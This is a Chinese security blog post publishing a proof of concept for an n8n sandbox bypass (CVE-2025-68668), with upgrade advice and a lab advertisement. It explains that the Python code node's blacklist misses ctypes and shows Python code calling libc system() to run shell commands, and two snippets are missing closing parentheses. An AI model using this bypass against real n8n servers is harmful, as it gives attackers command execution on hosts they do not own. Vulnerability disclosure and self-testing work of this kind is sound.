Py学习  »  Python

【首发POC】n8n Python代码节点沙箱绕过导致系统命令执行 (CVE-2025-68668)

棉花糖fans • 1 周前 • 130 次点击  


前言

今天各家都通报了CVE-2025-68668 n8n Python代码节点沙箱绕过导致系统命令执行漏洞,但没有poc,特有此文,文中poc仅供合法测试,用于企业自查,切勿用于非法测试,未授权测试造成后果由使用者承担,与本公众号无关。

漏洞概述

n8n 是一款开源的可视化工作流自动化平台,广泛应用于企业自动化、数据处理和 DevOps 场景。平台采用节点式设计,支持用户通过拖拽组件构建业务流程。受影响的 Python 代码节点允许用户在工作流中执行自定义代码。该节点基于 Pyodide 技术,为代码执行提供安全的沙箱隔离环境。作为一款主流自动化工具,n8n 拥有广泛的用户基础。

漏洞原理

n8n 的 Python (Pyodide) 模式配置了黑名单,在packages/nodes-base/nodes/Code/Pyodide.ts中:

img
img

如果执行这样的代码:

import os
os.system('ls'

是会被阻止的:

image-20260104161503537
image-20260104161503537

但黑名单中并未阻止ctypes库, ctypes 是 Python 的 FFI 库,允许 Python 代码直接调用 C 函数,他的libc有system(), fork(), execl()等函数可用,测试的时候fork(), execl()被拦截了,system()能用,于是我们可以构造出一个使用ctypes去执行系统命令的poc:

import ctypes
libc = ctypes.CDLL(None
libc.system(b'ls')

本地环境验证:

import ctypes
import os

libc = ctypes.CDLL(None)
libc.system.argtypes = [ctypes.c_char_p]
libc.system.restype = ctypes.c_int
result = libc.system(b'echo "mht CVE-2025-68668" > /tmp/test.txt')

return {
    "vulnerability""SUCCESS"
}
image-20260104162123099
image-20260104162123099

修复方法立即升级到n8n 2.0.0或更高版本

复现环境已在无境中上架:vip.bdziyi.com/ulab,无境,英文名Unbounded Lab,是专为网络安全学习者打造的综合性实战平台,提供真实企业级漏洞环境,让您在安全的环境中提升实战技能,核心特色:独立隔离环境,每位用户都拥有完全独立的靶场环境,即使是庞大的内网靶场,环境之间也是零干扰,确保您的学习过程不受任何影响。

image-20260104182631157
image-20260104182631157
image-20260104183035709
image-20260104183035709

广告时间:


棉花糖会员站介绍(25年11月15日版本) 新增在线独立环境内网靶场


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/191277